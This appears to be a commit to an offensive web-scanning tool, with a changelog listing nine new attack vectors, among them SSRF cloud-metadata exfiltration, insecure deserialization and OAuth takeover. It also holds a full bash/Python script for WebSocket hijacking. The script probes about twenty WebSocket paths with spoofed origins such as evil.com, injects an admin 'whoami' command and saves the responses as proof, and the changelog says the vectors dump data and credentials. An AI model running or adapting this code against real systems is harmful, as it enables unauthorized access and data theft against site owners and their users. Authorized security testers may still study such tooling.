The Analyzer v2.0 — 30 attack vectors, 9 new exploiters

New vectors added:
- 22: SSRF Proof — cloud metadata exfiltration (CRITICAL)
- 23: Prototype Pollution — Node.js client/server (HIGH)
- 24: WebSocket Hijack — WS origin bypass + injection (HIGH)
- 25: Mass Assignment — protected field modification (HIGH)
- 26: HTTP Parameter Pollution — WAF bypass (HIGH)
- 27: Insecure Deserialization — PHP/Java/Node (CRITICAL)
- 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL)
- 29: Web Cache Poisoning — unkeyed header injection (HIGH)
- 30: CRLF Injection — HTTP response splitting (CRITICAL)

All vectors PROVE exploitation by dumping data/credentials,
not just detecting config issues.

vectors/24-websocket-hijack.sh

@@ -0,0 +1,103 @@
+#!/usr/bin/env bash
+# Vector 24: WebSocket Hijack — Intercepts & injects WS messages
+# Desc: Tests for missing WS origin validation, message injection
+# Severity: HIGH
+# Proof: Sends/receives WS messages proving hijack
+
+vector_websocket_hijack() {
+  local target="$1"
+  local report="$2"
+  local domain=$(get_domain "$target")
+  local findings=0
+
+  print_info "Hunting WebSocket Hijacking..."
+
+  # Common WS endpoints
+  local ws_paths=(
+    "/ws" "/wss" "/websocket" "/socket" "/sock" "/chat"
+    "/ws/v1" "/ws/v2" "/notifications" "/events" "/stream"
+    "/realtime" "/live" "/subscribe" "/push" "/notification"
+    "/graphql" "/subscriptions" "/api/ws" "/api/wss"
+  )
+
+  local ws_protocols=("ws://" "wss://")
+  local base=$(get_base "$target")
+  local ws_base=$(echo "$base" | sed 's/https:/wss:/;s/http:/ws:/')
+
+  # Origin headers to test
+  local evil_origins=(
+    "https://evil.com"
+    "https://attacker.com"
+    "https://${domain}.evil.com"
+    "null"
+    "http://localhost"
+  )
+
+  local tested=0
+
+  for path in "${ws_paths[@]}"; do
+    local ws_url="${ws_base}${path}"
+    
+    for origin in "${evil_origins[@]}"; do
+      tested=$((tested + 1))
+
+      # Use Python to test WS connection
+      local result=$(python3 -c "
+import json, sys
+try:
+    import websocket
+    ws = websocket.create_connection(
+        '$ws_url',
+        header={'Origin': '$origin'},
+        timeout=5
+    )
+    ws.settimeout(3)
+    
+    # Try to receive a message
+    try:
+        msg = ws.recv()
+        if msg:
+            print(f'RECEIVED: ' + msg[:200])
+    except:
+        print('CONNECTED: true')
+    
+    # Try to send malicious message
+    try:
+        ws.send(json.dumps({'action': 'admin', 'cmd': 'whoami'}))
+        resp = ws.recv()
+        if resp:
+            print(f'INJECTION_RESPONSE: ' + resp[:200])
+    except:
+        pass
+    
+    ws.close()
+except Exception as e:
+    print(f'ERROR: ' + str(e)[:100])
+" 2>/dev/null)
+
+      if echo "$result" | grep -qi "RECEIVED:\|CONNECTED:\|INJECTION_RESPONSE:"; then
+        if echo "$result" | grep -qi "RECEIVED:\|INJECTION_RESPONSE:"; then
+          print_find "WebSocket Hijack Confirmed!" "Connected from $origin to $ws_url"
+          echo "SEVERITY: HIGH
+VECTOR: WebSocket Hijack
+DETAIL: Connected to WebSocket with spoofed origin $origin
+URL: $ws_url
+EVIDENCE: $result
+EXPLOIT: Steal real-time data, inject malicious messages" > "$REPORTS_DIR/.finding_ws_$(date +%s).txt"
+          findings=$((findings + 1))
+        else
+          print_find "WebSocket Accessible" "Insecure WS endpoint at $ws_url"
+          findings=$((findings + 1))
+        fi
+        break 2
+      fi
+    done
+  done
+
+  if [ "$findings" -eq 0 ]; then
+    print_info "No WebSocket hijacking found"
+  fi
+
+  print_sub "Tested $tested WS endpoints"
+  return $findings
+}